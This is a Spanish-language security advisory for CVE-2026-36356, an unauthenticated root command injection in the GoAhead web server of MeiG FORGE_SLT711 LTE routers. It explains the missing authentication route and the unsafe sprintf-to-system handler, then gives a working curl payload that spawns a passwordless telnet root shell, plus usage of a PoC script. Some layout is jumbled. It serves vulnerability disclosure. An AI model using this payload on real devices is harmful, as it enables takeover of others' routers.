
CVE-2026-36356: MeiG Smart FORGE_SLT711 GoAhead - Inyección de comandos del sistema operativo sin autenticación (RCE como root)
/action/SetRemoteAccessCfg)El servidor web GoAhead incluido con los dispositivos CPE 4G LTE MeiG Smart FORGE_SLT711 expone un endpoint HTTP sin autenticación, /action/SetRemoteAccessCfg, que interpola entrada JSON controlada por el usuario en un comando shell sin saneamiento. Una única solicitud POST sin autenticación ejecuta comandos arbitrarios como root. Dos causas raíz independientes: falta una entrada de ruta de autenticación y una construcción insegura sprintf() → system() en el controlador.
MDM9607.LE.1.0-00110-STD.PROD-1 (firmware del módem BC-MGST711H_1.1.1_EQ101)/usr/bin/goahead)El código vulnerable está en el manejador de acción personalizado de MeiG, no en GoAhead original. Es probable que otras versiones de firmware de esta línea de productos estén afectadas; no verificado de forma independiente.
| Dispositivo | Ortel 4G LTE CPE (OEM: MeiG FORGE_SLT711) |
| SoC | Qualcomm MDM9607, ARMv7 Cortex-A7 |
| Kernel | Linux 3.18.48 |
| Firmware | MDM9607.LE.1.0-00110-STD.PROD-1 |
| Fecha |
La configuración de rutas de GoAhead /var/www/route.txt enumera rutas autenticadas (líneas 64–150) usando auth=basic. /action/SetRemoteAccessCfg no está en esta lista. El enrutamiento cae en la ruta comodín (catch-all) en la línea 156:
route uri=/action handler=action
La ruta comodín no tiene auth=basic, por lo que cualquier cliente HTTP puede invocar /action/SetRemoteAccessCfg sin credenciales.
El manejador en el offset 0x0003c6d8 de /usr/bin/goahead se descompila a:
char password_buf[64]; // 0x40 bytes on stack
char command_buf[256]; // 0x100 bytes on stack
websGetJsonItemValue(json, "password", STRING, password_buf, 0x40);
sprintf(command_buf, "echo root:\"%s\"|chpasswd", password_buf);
system(command_buf);
El campo password se interpola entre comillas dobles. La sustitución $(...) y las comillas invertidas `...` se expanden dentro de comillas dobles, por lo que un atacante controla el comando shell. system() se ejecuta como uid=0 porque el proceso GoAhead se ejecuta como root. Sin validación de entrada, sin escape, sin lista blanca de caracteres.
curl -s -X POST http://192.168.1.1/action/SetRemoteAccessCfg \
-H "Content-Type: application/json" \
-d '{"password":"$(telnetd -l /bin/sh -p 2323 &)"}'
# Reachable via: telnet 192.168.1.1 2323 (root shell, no password)

poc_rce.py (publicado junto con este aviso):
python3 poc_rce.py --ip 192.168.1.1 --cmd 'id > /tmp/out'
La explotación es ciega: la salida del comando no está en la respuesta HTTP.
password: 64 bytes| 2026-02-21 |